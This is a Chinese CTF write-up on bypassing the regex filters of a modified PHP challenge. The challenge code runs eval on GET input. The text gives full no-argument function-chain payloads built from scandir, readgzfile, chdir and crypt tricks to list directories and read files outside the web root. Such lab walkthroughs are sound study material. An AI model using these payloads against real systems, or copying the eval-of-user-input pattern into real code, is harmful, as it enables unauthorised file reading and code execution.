閱讀本文前建議先閱讀本站中的另一篇文章:[GXYCTF2019]禁止套娃
重要參考鏈接:http://www.heetian.com/info/827
Leon師傅魔改了[GXYCTF2019]禁止套娃這道題,將過濾掉的字串增加了一大堆.打開題目得到的原始碼如下:
1 <?php 2 header("Content-Type: text/html;charset=utf-8"); 3 highlight_file(__FILE__); 4 error_reporting(0); 5 if(isset($_GET['exp'])){ 6 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//im', $_GET['exp'])) { 7 if(';' === preg_replace('/[^\W]+\((?R)?\)/', NULL, $_GET['exp'])) { 8 if (!preg_match('/et|cu|pos|show|high|reset|local|sess|header|readfile|heb|oo|info|dec|bin|ex|oct|pi|sys|open|log/im', $_GET['exp'])) { 9 @eval($_GET['exp']); 10 } 11 else{ 12 die("還差一點哦!"); 13 } 14 } 15 else{ 16 die("再好好想想!"); 17 } 18 } 19 else{ 20 die("還想讀flag,臭弟弟!"); 21 } 22 } 23 ?>
我們可以看到在第八行Leon師傅將能禁的字串幾乎都禁了一遍,于是菜狗M1saka開始了構造:
首先我們需要遍歷當前目錄,即我們需要構造scandir(".").即構造".",這里給出我們的思考程序:
- 利用localeconv()函式得到"." localeconv()函式回傳的是包含本地數字及貨幣格式資訊的陣列,這個陣列的第一個元素就是".",利用current(localeconv())就可以得到".",但是帥氣的Leon師傅把我們的local直接給禁了,這個思路不通.
- "."可以用chr(46)進行表示,于是我們開始絞盡腦汁構造46:chr(rand()) chr里面的值只需要是周期內的46都可,但是chr(rand())獲得46的幾率過小,像我這種非酋就不必了吧; 我們也可以利用時間函式去獲得46,畢竟時間函式獲得的是0~60之間的數字,比rang幾率大多了.但是每一次構造payload都要等一分鐘,實在是麻煩 ; 第三種我們可以利用PHP的數學函式,結合phpversion()去嘗試拼湊出46.本題的環境是7.0.3,于是在exp中構造得到ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))));,運行得到46 但是我們機制的Leon師傅直接把"oo"給ban了,于是這個方法還是不通.
- hebrevc(crypt(arg))可以隨機生成一個hash值,第一個字符隨機是$(大概率) 或者 "."(小概率) 然后通過chr(ord())只取第一個字符.可是Leon師傅繼續ban了'heb',此路不通.
4.strrev(crypt(serialize(array())))可以得到"."這就是這道題第一步的突破點.上圖:


但是在第二張圖里面我們發現讀到了根目錄,其實strrev(crypt(serialize(array())));不光能獲得".",還能獲得"/",于是就讀到了根目錄
讀完檔案夾之后我們已經看到了flag.php,于是我們嘗試去讀取:
1 payload:readgzfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
因為flag.php在倒數第二個位置,并且Leon師傅ban了"ex",并不能使用next()函式,所以我們采取這種讀取隨機檔案的方式,array_rand(array_flip())選取該檔案夾用陣串列示的任意一個元素并且將鍵值與元素進行調換,array_rand()函式是隨機選取陣列中的一個元素,于是我們在傳入這個payload之后,要進行多次重繪,這樣的話我們不但能讀到flag.php與index.php,
還有一個小細節,因為Leon師傅ban了show_source() , readfile(),high_light(), 等常用讀檔案函式,于是我們使用readgzfile()函式,回顯在原始碼里面
于是我們成功讀到了flag.php:

針不齪 假的flag針不齪
做到這里M1saka直接沖到樓上Leon師傅的寢室去暴打他,
既然我們已經知道flag在上級目錄里面,接下來的操作就是先嘗試去查看上級目錄里面的檔案,進行目錄穿越,找到真正的flag之后進行讀取,并且我們需要用chdir()進行目錄切換,否則在當前目錄并不能讀取上層目錄的檔案,
接下來我們要去嘗試構造"..",因為getcwd()與hebrevc(crypt(time()))都被我們帥氣的Leon師傅ban了,仔細一想,似乎剛剛在遍歷目錄的時候,第二個陣列永遠是".."于是我們可以嘗試使用套娃的方式去獲得".."
1 payload:?exp=print_r(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))));
因為是隨機選取陣列元素,我們需要多進行幾次重繪才能獲得回顯,期望回顯如下圖:

壞蛋Leon放了好幾個假flag嚶嚶嚶
我們已經可以推斷出該題的檔案結構:var檔案夾里面存在的是www檔案夾,www檔案夾里面存在的是fackflag.php,noflag.php,realflag.php以及html檔案夾,就是我們題目初始所在的檔案夾,
此時如果我們直接對www檔案夾進行讀取的話并不會有任何的回顯,因為在本題目中默認的檔案夾是我們的html檔案夾,不能直接進行跨檔案夾讀取檔案,于是我們開始嘗試用chdir()函式進行切換檔案夾,
realpath()函式回傳該檔案的絕對路徑,在本題中應用:
1 payload:?exp=print_r(realpath(end(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))));
得到的回顯有兩種:/var/www/html與/var/www/html/index.php
原因是我們的隨機函式有可能會選到當前目錄或者index.php,我們可以使用dirname()函式回傳當前路徑下的目錄,然后chdir()該目錄就能轉到我們想要的目錄并進行檔案讀取,(記得多重繪億次因為我們使用的是隨機函式)
巧用if()函式的payload:
if()函式進行切換目錄,如果切換成功了的話進行隨機檔案讀取(與我們剛開始讀假flag的手段一樣)因為if陳述句的中如果切換目錄失敗了的話就不能執行后面的陳述句,起到了一定的過濾性
payload:?exp=if(chdir(dirname(realpath(end(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))))))readgzfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
來看看Leon師傅藏了多少flag:


最終我們還是讀到了真正的flag(給你??干凈防止小b崽子們不好好學習白嫖flag)

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/121829.html
標籤:其他
上一篇:JavaScript 技術篇-一段js代碼展示可以隨滑鼠移動變換樣式的卡通人物,動態女生眼睛跟著鼠轉動
下一篇:Empire基本使用方法
